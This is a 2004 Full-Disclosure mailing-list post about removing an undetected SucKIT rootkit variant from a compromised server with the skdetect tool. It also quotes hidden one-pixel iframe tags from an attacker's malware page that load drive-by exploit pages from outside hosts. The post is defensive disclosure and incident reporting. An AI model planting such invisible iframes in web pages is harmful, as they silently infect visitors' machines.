

Re: [Full-Disclosure] xpire.info & splitinfinity.info – exploits in the wild

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-10/1069.html>

From: Elia Florio (eflorio_at_edmaster.it)

Date: 10/27/04

To: <full-disclosure@lists.netsys.com>

Date: Wed, 27 Oct 2004 01:22:06 +0200

Finally, I clean the compromised box of my friend :))
I've found (following many helpful suggestions of people in FD list)
that a variant of "suckit" rootkit was installed on this machine.
The strange thing is that "rkhunter" and "chkrootkit" don't catch it :(((
in any way and they said that everything is ok.

To found suckit and deactivate it I used this :

<http://tsd.student.utwente.nl/skdetect/>

It's a code based on suckit source code, but without the malware part.

It can dig into /dev/kmem and explores sys_call_table[];

skdetect was able to found suckit installed.

Another person who was compromised by the "xpire.info" hacker said to me
that

the symptoms were the same and also in his host he found this suckit variant
installed.

```
>suckit version 'Q' DETECTED
```

```
>kernel-part uninstall seems successful.
```

After reboot everything come back to normal activity.

Thank you to everyone for the answers given to me

(Ron DuFresne, Nick FitzGerald, Kevin and others).

Actually on "xpire.info/fa/?d=get" malware page you can found this exploits
in the wild :

```
#IFRAME SRC="http://www.sp2fucked.biz/user28/counter.htm" WIDTH=0 BORDER=0  
HEIGHT=0></IFRAME#
```

```
#iframe src="http://xpire.info/fa/t3.htm" width=1 height=1></iframe#
```

```
#iframe src="http://xpire.info/fa/x.htm" width=1 height=1></iframe#
```

```
#iframe src="http://xpire.info/fa/proc.htm" width=1 height=1></iframe#
```

```
#iframe src="http://xpire.info/fa/runevil.htm" width=1 height=1></iframe#
```

```
#iframe src="http://213.159.117.133/dl/adv121.php" width=1
```

```
height=1></iframe#
```

```
!-- #IFRAME SRC="http://x.full-tgp.net/?fox.com" WIDTH=1 HEIGHT=1></IFRAME#
```

Full-Disclosure: Re: [Full-Disclosure] xpire.info & splitinfinity.info – exploits in the wild

//-->

There a lot of backdoor/trojan ready-to-install and the bad news is that most of this malware are recompiled, so many AV are fooled and don't catch them (for example Symantec and ClamAV don' recognize many malware in this site, after a quick test made with www.virustotal.com)

Bye,
EF

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>